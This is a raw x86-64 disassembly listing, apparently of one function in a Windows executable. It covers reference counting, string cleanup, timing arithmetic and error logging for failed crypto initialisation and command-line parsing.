mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], r14w
mov r14, qword [rbp + 0x578]
test r14, r14
je 0x14004d40d
lock inc dword [r14 + 8]
mov r14, qword [rbp + 0x578]
movzx eax, byte [rbp + 0x565]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x40], xmm0
mov byte [rsp + 0x28], al
mov eax, dword [rbp + 0x560]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x550]
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.140073010
jmp 0x14004d5e6
mov rbx, qword [rbp + 0x680]
mov rax, qword [rbp + 0x688]
cmp rbx, rax
je 0x14004d51f
mov r14, qword [rbp + 0x578]
mov r15, rax
mov esi, dword [rbp + 0x560]
nop dword [rax]
mov rdx, rbx
lea rcx, [rbp + 0x560]
call fcn.140042060
cmp byte [rbp + 0x560], 0
jne 0x14004d4ff
movzx r12d, byte [rbp + 0x561]
cmp rdi, qword [rbp - 0x70]
je 0x14004d49b
test r12b, r12b
jne 0x14004d4ff
mov rdx, rbx
lea rcx, [rbp + 0x510]
call fcn.14004f400
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
test r14, r14
je 0x14004d4ce
lock inc dword [r14 + 8]
mov r14, qword [rbp + 0x578]
movzx r12d, byte [rbp + 0x561]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x120], xmm0
mov byte [rsp + 0x28], r12b
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x550]
mov r8, rax
lea rdx, [rbp + 0x120]
mov rcx, r13
call fcn.140073010
add rbx, 0x20
cmp rbx, r15
jne 0x14004d470
mov rsi, qword [rbp - 0x80]
mov r15, qword [rbp + 0x40]
mov r12d, 1
jmp 0x14004d5e6
mov rax, qword [rbp + 0x5a8]
mov qword [rsp + 0x60], rax
mov rbx, qword [rbp + 0x5a0]
cmp rbx, rax
je 0x14004d5df
add rbx, 0x20
mov r14, qword [rbp + 0x578]
mov rcx, rax
mov r15d, dword [rbp + 0x560]
mov rsi, qword [rbp - 0x70]
cmp byte [rbx + 1], 0
jne 0x14004d5c2
cmp rdi, rsi
je 0x14004d564
cmp byte [rbx], 0
jne 0x14004d5c2
movzx r12d, byte [rbx]
lea rdx, [rbx - 0x20]
lea rcx, [rbp + 0x530]
call fcn.14004f400
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
test r14, r14
je 0x14004d591
lock inc dword [r14 + 8]
mov r14, qword [rbp + 0x578]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp - 0x70], xmm0
mov byte [rsp + 0x28], r12b
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x550]
mov r8, rax
lea rdx, [rbp - 0x70]
mov rcx, r13
call fcn.140073010
mov rcx, qword [rsp + 0x60]
add rbx, 0x28
lea rax, [rbx - 0x20]
cmp rax, rcx
jne 0x14004d554
mov rsi, qword [rbp - 0x80]
mov r15, qword [rbp + 0x40]
mov r12d, 1
jmp 0x14004d5e6
mov r14, qword [rbp + 0x578]
cmp dword [r13 + 0x34], 0
je 0x14004d5f6
mov rcx, qword [r13 + 0x20]
call fcn.140072cd0
mov rcx, qword [r13 + 0x10]
call fcn.140072cd0
mov rbx, qword [rbp + 0x570]
cmp dword [rbx + 0x34], 0
je 0x14004d615
mov rcx, qword [rbx + 0x20]
call fcn.140072cd0
mov rcx, qword [rbx + 0x10]
call fcn.140072cd0
mov rcx, qword [rbp + 0x50]
call fcn.14007aaa0
xor edx, edx
mov rcx, qword [rbp + 0x50]
call fcn.14008361c
call fcn.140077c64
mov rbx, rax
call fcn.140077c48
cmp rbx, 0x989680
jne 0x14004d64e
imul rbx, rax, 0x64
jmp 0x14004d66f
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
sub rbx, rsi
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x6c0]
call fcn.140086020
mov edx, r12d
lea rcx, [rbp + 0x6c0]
call fcn.14003e560
movabs rax, 0x431bde82d7b634db
imul rbx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.140059320
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
xor r13d, r13d
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], r13b
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rax
mov ecx, dword [rbp + 0x748]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14004d723
mov rax, qword [rbp + 0x718]
mov r8, qword [rax]
test r8, r8
je 0x14004d723
mov rax, qword [rbp + 0x6f8]
mov rdx, qword [rax]
mov qword [rbp + 0x20], rdx
cmp r8, qword [rbp + 0x740]
cmovb r8, qword [rbp + 0x740]
sub r8, rdx
mov qword [rbp + 0x28], r8
jmp 0x14004d763
test cl, 4
jne 0x14004d75b
mov rax, qword [rbp + 0x710]
mov rcx, qword [rax]
test rcx, rcx
je 0x14004d75b
mov rax, qword [rbp + 0x6f0]
mov rdx, qword [rax]
mov qword [rbp + 0x20], rdx
mov rax, qword [rbp + 0x728]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
mov qword [rbp + 0x28], r8
jmp 0x14004d763
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
test rdx, rdx
je 0x14004d771
lea rcx, [rbp + 0x58]
call fcn.14003b8c0
lea rcx, [rbp + 0x6c0]
call fcn.14003a8b0
mov r8d, 3
lea rdx, [0x1400caaf4]
lea rcx, [rbp + 0x58]
call fcn.140036cf0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004d7ec
lea r8, [rbp - 0x60]
mov edx, 2
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004d7ec
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14004d827
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d822
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dcbf
call fcn.14008361c
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x14004d872
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d86d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dcbf
call fcn.14008361c
mov r12d, r13d
lea rcx, [rbp + 0x680]
call fcn.140043c40
mov rdi, 0xffffffffffffffff
test r14, r14
je 0x14004d8c2
mov eax, edi
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x14004d8c2
mov rbx, qword [rbp + 0x578]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14004d8c2
mov rcx, qword [rbp + 0x578]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, edi
lock xadd dword [r15 + 8], eax
cmp eax, 1
jne 0x14004d98e
mov rax, qword [r15]
mov rcx, r15
call qword [rax]
lock xadd dword [r15 + 0xc], edi
cmp edi, 1
jne 0x14004d98e
mov rax, qword [r15]
mov rcx, r15
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14004d98e
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0x13
lea rdx, str.Init_crypto_failed_
lea rcx, [rsp + 0x30]
call fcn.140036db0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004d94e
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004d94e
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14004d98b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d986
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dcc5
call fcn.14008361c
mov r12d, r13d
mov rcx, qword [rbp + 0x5a0]
test rcx, rcx
je 0x14004dab5
mov rdx, qword [rbp + 0x5a8]
call fcn.1400544b0
mov rcx, qword [rbp + 0x5b0]
mov r8, qword [rbp + 0x5a0]
sub rcx, r8
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x14004da03
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc45
mov rcx, r8
call fcn.14008361c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], r13
jmp 0x14004dab5
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0x1d
lea rdx, str.Command_line_to_argvW_failed_
lea rcx, [rsp + 0x30]
call fcn.140036db0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004da75
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.14003f1e0
mov rcx, qword [0x1400ecdf8]
test rcx, rcx
je 0x14004da75
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14004dab2
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004daad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dccb
call fcn.14008361c
mov r12d, r13d
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 8
jb 0x14004dafb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004daf6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc45
call fcn.14008361c
mov qword [rbp + 0x5c8], r13
mov qword [rbp + 0x5d0], 7
mov word [rbp + 0x5b8], r13w
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 8
jb 0x14004db5b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004db56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc45
call fcn.14008361c
mov qword [rbp + 0x5f0], r13
mov qword [rbp + 0x5f8], 7
mov word [rbp + 0x5e0], r13w
mov rdx, qword [rbp + 0x598]
cmp rdx, 8
jb 0x14004dbbb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004dbb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc45
call fcn.14008361c
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], r13w
mov rdx, qword [rbp + 0x6b8]
cmp rdx, 0x10
jb 0x14004dc12
inc rdx
mov rcx, qword [rbp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004dc0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004dc45
call fcn.14008361c
mov eax, r12d
mov rcx, qword [rbp + 0x840]
xor rcx, rsp
call fcn.140083250
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
lea rcx, str.invalid_stoi_argument
call fcn.140077028
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.140077070
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3
call fcn.14008acfc
int3